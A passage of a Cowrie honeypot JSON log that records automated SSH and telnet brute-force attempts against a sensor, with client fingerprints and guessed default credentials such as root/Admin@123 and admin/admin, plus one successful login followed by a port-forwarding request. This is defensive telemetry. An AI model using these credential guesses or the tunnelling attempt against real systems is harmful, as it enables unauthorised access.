s128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:37.031785Z","src_ip":"45.156.87.254","session":"97abb2ce626a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111","message":"login attempt [admin/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:37.283293Z","src_ip":"45.156.87.254","session":"97abb2ce626a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:38.386252Z","src_ip":"45.156.87.254","session":"97abb2ce626a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":41004,"dst_ip":"10.17.0.5","dst_port":23,"session":"792e9b7ad697","protocol":"telnet","message":"New connection: 20.123.41.163:41004 (10.17.0.5:23) [session: 792e9b7ad697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:38.402664Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39730,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd6b91bcc734","protocol":"ssh","message":"New connection: 45.156.87.254:39730 (159.203.135.109:22) [session: cd6b91bcc734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:42.211756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:42.216665Z","src_ip":"45.156.87.254","session":"cd6b91bcc734","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:42.303514Z","src_ip":"45.156.87.254","session":"cd6b91bcc734","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:42.683565Z","src_ip":"45.156.87.254","session":"cd6b91bcc734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:43.774526Z","src_ip":"45.156.87.254","session":"cd6b91bcc734","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.176.138.50","src_port":43336,"dst_ip":"159.203.135.109","dst_port":23,"session":"15ac72855859","protocol":"telnet","message":"New connection: 31.176.138.50:43336 (159.203.135.109:23) [session: 15ac72855859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:45.930348Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39740,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6363f20d779","protocol":"ssh","message":"New connection: 45.156.87.254:39740 (159.203.135.109:22) [session: f6363f20d779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:47.436641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:47.443004Z","src_ip":"45.156.87.254","session":"f6363f20d779","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:47.522281Z","src_ip":"45.156.87.254","session":"f6363f20d779","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:47.841534Z","src_ip":"45.156.87.254","session":"f6363f20d779","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:48.928218Z","src_ip":"45.156.87.254","session":"f6363f20d779","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":38114,"dst_ip":"10.17.0.5","dst_port":22,"session":"c767a28fbb01","protocol":"ssh","message":"New connection: 87.251.64.176:38114 (10.17.0.5:22) [session: c767a28fbb01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:49.612431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:49.617637Z","src_ip":"87.251.64.176","session":"c767a28fbb01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:49.714551Z","src_ip":"87.251.64.176","session":"c767a28fbb01","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:50.007436Z","src_ip":"87.251.64.176","session":"c767a28fbb01","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:50.113098Z","session":"c767a28fbb01","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:50.216720Z","src_ip":"87.251.64.176","session":"c767a28fbb01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:50.316755Z","src_ip":"87.251.64.176","session":"c767a28fbb01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":54544,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d1f705b873c","protocol":"telnet","message":"New connection: 20.123.41.163:54544 (10.17.0.5:23) [session: 9d1f705b873c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:51.989363Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":42630,"dst_ip":"159.203.135.109","dst_port":22,"session":"9595259b322c","protocol":"ssh","message":"New connection: 45.156.87.254:42630 (159.203.135.109:22) [session: 9595259b322c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:52.822143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:52.852319Z","src_ip":"45.156.87.254","session":"9595259b322c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:52.918254Z","src_ip":"45.156.87.254","session":"9595259b322c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1","message":"login attempt [minecraft/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:53.466558Z","src_ip":"45.156.87.254","session":"9595259b322c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.3663742542266846,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:54.355597Z","src_ip":"20.123.41.163","session":"9d1f705b873c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:54.553621Z","src_ip":"45.156.87.254","session":"9595259b322c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":44554,"dst_ip":"159.203.135.109","dst_port":22,"session":"3612209f558b","protocol":"ssh","message":"New connection: 45.156.87.254:44554 (159.203.135.109:22) [session: 3612209f558b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:58.706532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:58.715679Z","src_ip":"45.156.87.254","session":"3612209f558b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:58.802109Z","src_ip":"45.156.87.254","session":"3612209f558b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:59.059023Z","src_ip":"45.156.87.254","session":"3612209f558b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:00.158277Z","src_ip":"45.156.87.254","session":"3612209f558b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":44558,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6de33b7c80a","protocol":"ssh","message":"New connection: 45.156.87.254:44558 (159.203.135.109:22) [session: c6de33b7c80a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:04.468275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:04.474442Z","src_ip":"45.156.87.254","session":"c6de33b7c80a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:04.562263Z","src_ip":"45.156.87.254","session":"c6de33b7c80a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:04.816126Z","src_ip":"45.156.87.254","session":"c6de33b7c80a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:05.905766Z","src_ip":"45.156.87.254","session":"c6de33b7c80a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":17982,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b1d2e5e2c40","protocol":"ssh","message":"New connection: 194.59.206.2:17982 (159.203.135.109:22) [session: 5b1d2e5e2c40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:07.291084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:07.296795Z","src_ip":"194.59.206.2","session":"5b1d2e5e2c40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:07.382720Z","src_ip":"194.59.206.2","session":"5b1d2e5e2c40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:07.473307Z","src_ip":"194.59.206.2","session":"5b1d2e5e2c40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38122,"dst_ip":"159.203.135.109","dst_port":22,"session":"fed2a75475cb","protocol":"ssh","message":"New connection: 45.156.87.254:38122 (159.203.135.109:22) [session: fed2a75475cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:09.946073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:09.951331Z","src_ip":"45.156.87.254","session":"fed2a75475cb","protocol":"ssh"}
